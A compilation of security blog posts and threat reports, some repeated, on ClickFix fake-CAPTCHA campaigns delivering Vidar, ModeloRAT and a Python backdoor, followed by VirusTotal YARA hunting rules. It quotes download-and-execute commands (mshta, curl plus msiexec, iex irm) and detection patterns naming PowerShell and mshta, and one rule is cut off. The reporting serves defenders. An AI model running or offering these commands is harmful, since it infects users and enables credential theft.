• In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

• Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
• Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
• During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
• Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

• Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
• Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
• Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
• Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
• Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

• cdnwoopress[.]com: Fake CAPTCHA Infrastructure
• woopresscdn[.]com: Fake CAPTCHA Infrastructure
• walwood[.]be: Fake CAPTCHA Infrastructure
• telegram[.]me/dikkh0k: Vidar C2
• telegram[.]me/pr55ii: Vidar C2
• steamcommunity[.]com/profiles/76561198742377525: Vidar C2
• steamcommunity[.]com/profiles/76561198735736086: Vidar C2

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

• Browser-stored usernames and passwords
• Cryptocurrency wallet information
• Session cookies and authentication tokens
• Autofill data and saved payment information
• Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

• The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
• The script terminates if the document.location.href doesn’t start with http.
• The strings are decoded using XOR and a random key.
• Through WMI queries, the script checks for installed antivirus products.
• It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
• In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

• Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
• Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
• During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
• Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

• Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
• Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
• Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
• Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
• Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

• cdnwoopress[.]com: Fake CAPTCHA Infrastructure
• woopresscdn[.]com: Fake CAPTCHA Infrastructure
• walwood[.]be: Fake CAPTCHA Infrastructure
• telegram[.]me/dikkh0k: Vidar C2
• telegram[.]me/pr55ii: Vidar C2
• steamcommunity[.]com/profiles/76561198742377525: Vidar C2
• steamcommunity[.]com/profiles/76561198735736086: Vidar C2

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Update Friday, March 13: A Temu spokesperson contacted us to say: “Temu has not issued any cryptocurrency, token, or digital asset—including any so-called “Temu Coin.” Any airdrop, wallet claim, or cryptocurrency offer purporting to be from Temu is fraudulent and has no connection to our company.”

We’ve covered ClickFix campaigns before: the fake CAPTCHAs, the fake Windows updates, the trick of getting victims to paste malicious commands into their own machines. Now we’ve identified a campaign that uses the opening initial steps seen in ClickFix attacks, but what happens after is different enough to warrant a closer look.

It starts with a convincing fake website promoting a $TEMU airdrop, a fabricated cryptocurrency that uses the name of the well-known shopping platform TEMU. It ends with a remote-access backdoor that checks in with its operators and runs instructions streamed from the internet instead of storing them locally, making it much harder for traditional antivirus tools to detect.

Same opener, different game

If you’ve read our earlier coverage of ClickFix, you know the drill: a webpage that looks like a security check, instructions to press Win+R and paste something, and the user ends up executing a malicious command on their own system. 

This campaign’s lure is a polished fake website that mimics a $TEMU cryptocurrency airdrop. “Discover Exclusive $TEMU Airdrop,” it announces, complete with a logo and navigation bar designed to look like a legitimate crypto project. There is no such coin. The site exists purely to get visitors to click a fake “I’m not a robot” checkbox.

Clicking it triggers a modal titled “Complete these Verification Steps,” which walks the victim through opening a command prompt window using Win+R, then pressing Ctrl+V to paste whatever is waiting on their clipboard and hitting Enter.

For anyone who hesitates, there is a “Video Instructions” button that expands an embedded screen recording demonstrating each keypress in sequence. It’s effectively a help-desk style tutorial guiding victims through executing the attackers’ command. At the bottom of the modal, a fake reCAPTCHA badge reads “Verification ID: 4963,” lending it the appearance of a legitimate security check. What sets this campaign apart is everything that happens after that Enter key is pressed.

First, the malware identifies the host

Earlier in the infection chain, the loader collects basic host information and sends it to the command server. The payload returned by the server already contains a unique identifier assigned to the victim machine. In the decoded PowerShell stage, this appears as a variable such as $machine_id, which is embedded directly in the script delivered to the infected system.

Embedding a unique identifier in the returned payload allows the attackers to track individual infections from the moment a machine first checks in. Because this identifier is inserted into the script before it reaches the victim, the server can generate slightly different payloads for different systems.

This matters more than it sounds. Security companies maintain shared databases of known-bad files. When a malicious file is identified, its fingerprint can be added to those databases within hours. If attackers generate slightly different versions of a payload for different victims, traditional file-hash-based detection becomes far less effective because there is no single file signature for defenders to block.

A windowless house guest

With the profiling done, the campaign deploys its backdoor using a bundled Python runtime. This is the same programming language used every day by millions of developers and students. It arrives self-contained, needs no administrator permissions, and does not typically appear as a traditional installed application. The version that actually runs is called pythonw.exe, where the “w” stands for “windowless.” No console, no sound, and nothing in the taskbar.

Earlier Python-based ClickFix campaigns that have been documented delivered a static Python file that performed a fixed task. This campaign appears to take a different approach. Each time the hidden process checks in with the server, it retrieves a new piece of Python code and executes it directly in memory rather than storing it as a persistent script on disk.

This architecture allows the attackers to change the malware’s behavior simply by modifying the code delivered by the server. Different victims can receive different instructions, and the functionality of the infection can be altered without updating anything already present on the compromised machine.

What they can do with an open door

Because the server can send any Python code it likes, the attackers’ capabilities are largely determined by whatever code the command server delivers. In campaigns using similar backdoors, attackers have been observed stealing browser credentials and session cookies, recording keystrokes, taking screenshots, and using the foothold to reach other machines on the same network. The campaign also included infrastructure to notify the attackers via Telegram the moment a new victim checked in—though a debug flag in the decoded payload was set to disabled, suggesting either a campaign in active development or deliberate operational caution.

Python also makes for convenient camouflage. Many corporate security systems include it on their list of trusted applications that are allowed to reach the internet without scrutiny. A Python process sending data outbound can look, at a glance, like a developer running a routine script. Detecting this type of activity typically requires behavior-based monitoring rather than file-signature scanning, making it harder to detect for most security tools.

ClickFix keeps evolving

ClickFix campaigns keep evolving because the core trick sidesteps technical defenses entirely. The victim executes the malicious command themselves.

Earlier this year we covered how attackers switched from PowerShell to nslookup after security software began detecting the original technique. This campaign tackles the same problem from a different angle: instead of changing how the malware is delivered, it tries to ensure there is no stable file left behind.

The backdoor receives instructions dynamically rather than storing them on disk, and the payload can vary for each victim. Without a consistent file to analyze, traditional file-signature detection has much less to work with.

How to stay safe

Here’s some general ClickFix advice that should help you avoid falling victim:

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?

If you think you’ve been affected

However, if you are past that point and suspect this specific campaign, here is what to check.

• Look inside %LOCALAPPDATA%\Programs\Python\ for a folder called Python3133 that you did not install. That is the malware’s Python runtime.
• Open %TEMP% and look for a file called temp_settings. Its presence is the tracking marker this campaign leaves behind.
• Open Task Manager, go to the Startup tab, and look for pythonw.exe running from an AppData or Program Files\Python3133 location.
• Change passwords for important accounts from a clean device and revoke active sessions where possible.

Indicators of Compromise (IOCs)

Domains

• temucoin[.]lat

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

Attackers are using DNS requests to deliver a RAT named ModeloRAT to targeted users.

The post Microsoft Warns of ClickFix Attack Abusing DNS Lookups appeared first on SecurityWeek.

Researchers have found another method used in the spirit of ClickFix: CrashFix.

ClickFix campaigns use convincing lures—historically “Human Verification” screens—to trick the user into pasting a command from the clipboard. After fake Windows update screens, video tutorials for Mac users, and many other variants, attackers have now introduced a browser extension that crashes your browser on purpose.

Researchers found a rip-off of a well-known ad blocker and managed to get it into the official Chrome Web Store under the name “NexShield – Advanced Web Protection.” Strictly speaking, crashing the browser does provide some level of protection, but it’s not what users are typically looking for.

If users install the browser extension, it phones home to nexsnield[.]com (note the misspelling) to track installs, updates, and uninstalls. The extension uses Chrome’s built-in Alarms API (application programming interface) to wait 60 minutes before starting its malicious behavior. This delay makes it less likely that users will immediately connect the dots between the installation and the following crash.

After that pause, the extension starts a denial-of-service loop that repeatedly opens chrome.runtime port connections, exhausting the device’s resources until the browser becomes unresponsive and crashes.

After restarting the browser, users see a pop-up telling them the browser stopped abnormally—which is true but not unexpected— and offering instructions on how to prevent it from happening in the future.

It presents the user with the now classic instructions to open Win+R, press Ctrl+V, and hit Enter to “fix” the problem. This is the typical ClickFix behavior. The extension has already placed a malicious PowerShell or cmd command on the clipboard. By following the instructions, the user executes that malicious command and effetively infects their own computer.

Based on fingerprinting checks to see whether the device is domain-joined, there are currently two possible outcomes.

If the machine is joined to a domain, it is treated as a corporate device and infected with a Python remote access trojan (RAT) dubbed ModeloRAT. On non-domain-joined machines, the payload is currently unknown as the researchers received only a “TEST PAYLOAD!!!!” response. This could imply ongoing development or other fingerprinting which made the test machine unsuitable.

How to stay safe

The extension was no longer available in the Chrome Web Store at the time of writing, but it will undoubtedly resurface with an other name. So here are a few tips to stay safe:

• If you’re looking for an ad blocker or other useful browser extensions, make sure you are installing the real deal. Cybercriminals love to impersonate trusted software.
• Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: the free Malwarebytes Browser Guard extension is a very effective ad blocker and protects you from malicious websites. It also warns you when a website copies something to your clipboard and adds a small snippet to render any commands useless.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Researchers have found another method used in the spirit of ClickFix: CrashFix.

ClickFix campaigns use convincing lures—historically “Human Verification” screens—to trick the user into pasting a command from the clipboard. After fake Windows update screens, video tutorials for Mac users, and many other variants, attackers have now introduced a browser extension that crashes your browser on purpose.

Researchers found a rip-off of a well-known ad blocker and managed to get it into the official Chrome Web Store under the name “NexShield – Advanced Web Protection.” Strictly speaking, crashing the browser does provide some level of protection, but it’s not what users are typically looking for.

If users install the browser extension, it phones home to nexsnield[.]com (note the misspelling) to track installs, updates, and uninstalls. The extension uses Chrome’s built-in Alarms API (application programming interface) to wait 60 minutes before starting its malicious behavior. This delay makes it less likely that users will immediately connect the dots between the installation and the following crash.

After that pause, the extension starts a denial-of-service loop that repeatedly opens chrome.runtime port connections, exhausting the device’s resources until the browser becomes unresponsive and crashes.

After restarting the browser, users see a pop-up telling them the browser stopped abnormally—which is true but not unexpected— and offering instructions on how to prevent it from happening in the future.

It presents the user with the now classic instructions to open Win+R, press Ctrl+V, and hit Enter to “fix” the problem. This is the typical ClickFix behavior. The extension has already placed a malicious PowerShell or cmd command on the clipboard. By following the instructions, the user executes that malicious command and effetively infects their own computer.

Based on fingerprinting checks to see whether the device is domain-joined, there are currently two possible outcomes.

If the machine is joined to a domain, it is treated as a corporate device and infected with a Python remote access trojan (RAT) dubbed ModeloRAT. On non-domain-joined machines, the payload is currently unknown as the researchers received only a “TEST PAYLOAD!!!!” response. This could imply ongoing development or other fingerprinting which made the test machine unsuitable.

How to stay safe

The extension was no longer available in the Chrome Web Store at the time of writing, but it will undoubtedly resurface with an other name. So here are a few tips to stay safe:

• If you’re looking for an ad blocker or other useful browser extensions, make sure you are installing the real deal. Cybercriminals love to impersonate trusted software.
• Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: the free Malwarebytes Browser Guard extension is a very effective ad blocker and protects you from malicious websites. It also warns you when a website copies something to your clipboard and adds a small snippet to render any commands useless.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Posing as an ad blocker, the malicious extension crashes the browser to lure victims into installing malware.

The post Malicious Chrome Extension Crashes Browser in ClickFix Variant ‘CrashFix’ appeared first on SecurityWeek.

Introduction

How VT plays a role in hunting for analysts

Acronis - Success Story

Hunting Exploits Like It’s 2017-0199 (SideWinder Edition)

/*
    Checks if the file is tagged with CVE-2017-0199 or CVE-2017-11882
    and originates from one of the targeted countries
    and the file type is a Word document, RTF, or MS-Office file
*/
import "vt"
rule hunting_cve_maldocs {
    meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Hunting for malicious Word/RTF files exploiting CVE-2017-0199 or CVE-2017-11882 from specific countries"
        distribution = "TLP:CLEAR"
        version = "1.2"

    condition:
        // Match if the file has CVE-2017-0199 or CVE-2017-11882 in the tags
        for any tag in vt.metadata.tags : 
        ( 
            tag == "cve-2017-0199" or 
            tag == "cve-2017-11882" 
        )
        // Originates from a specific country?
        and 
        (
            // Removed CN due to spam submissions of related maldocs
            vt.metadata.submitter.country == "PK" or 
            vt.metadata.submitter.country == "LK" or 
            vt.metadata.submitter.country == "BD" or 
            vt.metadata.submitter.country == "NP" or 
            vt.metadata.submitter.country == "MM" or 
            vt.metadata.submitter.country == "MV" or 
            vt.metadata.submitter.country == "AF"
        )
        // Is it a DOC, DOCX, or RTF?
        and 
        (
            vt.metadata.file_type == vt.FileType.DOC or
            vt.metadata.file_type == vt.FileType.DOCX or
            vt.metadata.file_type == vt.FileType.RTF
        )
        // Different TA spotted using .ru TLD (excluding it for now)
        and not (
            for any url in vt.behaviour.memory_pattern_urls : (
                url contains ".ru"
            )
        )
        and vt.metadata.new_file
} 

/*
    Sidewinder related malicious documents exploiting CVE 2017-0199 used during 2025 campaign
*/
import "vt"
rule apt_sidewinder_documents
{
    meta:

        author = "Acronis Threat Research Unit (TRU)"
        description = "Sidewinder related malicious documents exploiting CVE 2017-0199"
        distribution = "TLP:CLEAR"
        version = "1.0"

    strings:

        $a1 = {62544CB1F0B9E6E04433698E85BFB534278B9BDC5F06589C011E9CB80C71DF23}
        $a2 = {E20F76CDABDFAB004A6BA632F20CE00512BA5AD2FE8FB6ED9EE1865DFD07504B0304140000}

    condition:

        filesize  

Uncovering Shadow Vector’s SVG-Based Crimeware Campaign in Colombia

<!--
    This YARA rule detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia.
    The rule identifies SVG images that contain legal or judicial terms commonly used in phishing scams, 
    along with embedded external links that could be used to deliver a payload.
-->
import "vt"
rule crimeware_svg_colombia {
   meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia"
        distribution = "TLP:CLEAR"
        version = "1.1"

        // Reference hashes
        hash1 = "6d4a53da259c3c8c0903b1345efcf2fa0d50bc10c3c010a34f86263de466f5a1"
        hash2 = "2aae8e206dd068135b16ff87dfbb816053fc247a222aad0d34c9227e6ecf7b5b"
        hash3 = "4cfeab122e0a748c8600ccd14a186292f27a93b5ba74c58dfee838fe28765061"
        hash4 = "9bbbcb6eae33314b84f5e367f90e57f487d6abe72d6067adcb66eba896d7ce33"
        hash5 = "60e87c0fe7c3904935bb1604bdb0b0fc0f2919db64f72666b77405c2c1e46067"
        hash6 = "609edc93e075223c5dc8caaf076bf4e28f81c5c6e4db0eb6f502dda91500aab4"
        hash7 = "4795d3a3e776baf485d284a9edcf1beef29da42cad8e8261a83e86d35b25cafe"
        hash8 = "5673ad3287bcc0c8746ab6cab6b5e1b60160f07c7b16c018efa56bffd44b37aa"
        hash9 = "b3e8ab81d0a559a373c3fe2ae7c3c99718503411cc13b17cffd1eee2544a787b"
        hash10 = "b5311cadc0bbd2f47549f7fc0895848adb20cc016387cebcd1c29d784779240c"
        hash11 = "c3319a8863d5e2dc525dfe6669c5b720fc42c96a8dce3bd7f6a0072569933303"
        hash12 = "cb035f440f728395cc4237e1ac52114641dc25619705b605713ecefb6fd9e563"
        hash13 = "cf23f7b98abddf1b36552b55f874ae1e2199768d7cefb0188af9ee0d9a698107"
        hash14 = "f3208ae62655435186e560378db58e133a68aa6107948e2a8ec30682983aa503"

   strings:
        // SVG 
        $svg = "<svg xmlns=" ascii fullword

        // Documents containing legal or judicial terms
        $s1 = "COPIA" nocase
        $s2 = "CITACION" nocase
        $s3 = "JUZGADO" nocase
        $s4 = "PENAL" nocase
        $s5 = "JUDICIAL" nocase
        $s6 = "BOGOTA" nocase
        $s7 = "DEMANDA" nocase

        // When image loads it retrieves payload from external website using HTTPS
        $href1= "href='https://" nocase
        $href2 = "href=\"https://" nocase

   condition:
      $svg 
      and filesize < 3MB
      and 3 of ($s*)
      and any of ($href*)
      and vt.metadata.submitter.country == "CO"
}

rule crimeware_shadow_vector_svg
{

    meta:

        description = "Detects malicious SVG files associated with Shadow
Vector's Colombian campaign"
        author = "Acronis Threat Research Unit (TRU)"
        file_type = "SVG"
        malware_family = "Shadow Vector"
        threat_category = "Crimeware / Malicious Image / Embedded Payload"
        tlp = "TLP:CLEAR"

strings:

        $svg_tag1 = "<?xml" ascii
        $svg_tag2 = "<svg" ascii
        $svg_tag3 = "<!DOCTYPE svg" ascii
        $svg_tag4 = "http://www.w3.org/2000/svg" ascii 

        //used by Shadow Vector (possibly generated in batch)

        $judicial = "juzgado" ascii nocase
        $judicial_1 = "citacion" ascii nocase
        $judicial_2 = "judicial" ascii nocase
        $judicial_3 = "despacho" ascii nocase
        $generado = "Generado" ascii nocase

    condition:

        filesize < 3MB and
        3 of ($svg_tag*) and
        (1 of ($judicial*) and $generado)
}

FileFix in the wild!

Anatomy of an attack- where do we start?

import "vt"

rule ClickFix
{
  strings:
    $clipboard = /(navigator\.clipboard\.writeText|document\.execCommand\(\"copy\"\))/
    $pay01 = /(powershell|cmd|mshta|msiexec|pwsh)/gvfi
  condition:
    vt.net.url.new_url and
    $clipboard and
    any of ($pay*)
}  

$pay03 = /powershell.{,80}iex/

Analyzing payloads

Looking for a *Fix

VT Tips (based on the success story)

Supercharge Your Web-Content YARA Rules

entity:url (content:"navigator.clipboard.writeText" or content:"document.execCommand(\"copy\")") (content:"String.fromCharCode" or content:"atob")

Dissect Payloads with Advanced Content Queries

behavior:"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("

Don't forget about the infrastructure

import "vt"

rule URLs_Downloading_Decoy_RTF_SideWinder {

  meta:
    target_entity = "url"
    author = "Virustotal"
    description = "This YARA rule identify new URLs downloading the decoy file related to SideWinder"

  condition:
    vt.net.url.downloaded_file.sha256 == "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a" 
    and vt.net.url.new_url
}

!pip install vt-py nest_asyncio
import getpass, vt, json, nest_asyncio
nest_asyncio.apply()

cli = vt.Client(getpass.getpass('Introduce your VirusTotal API key: '))

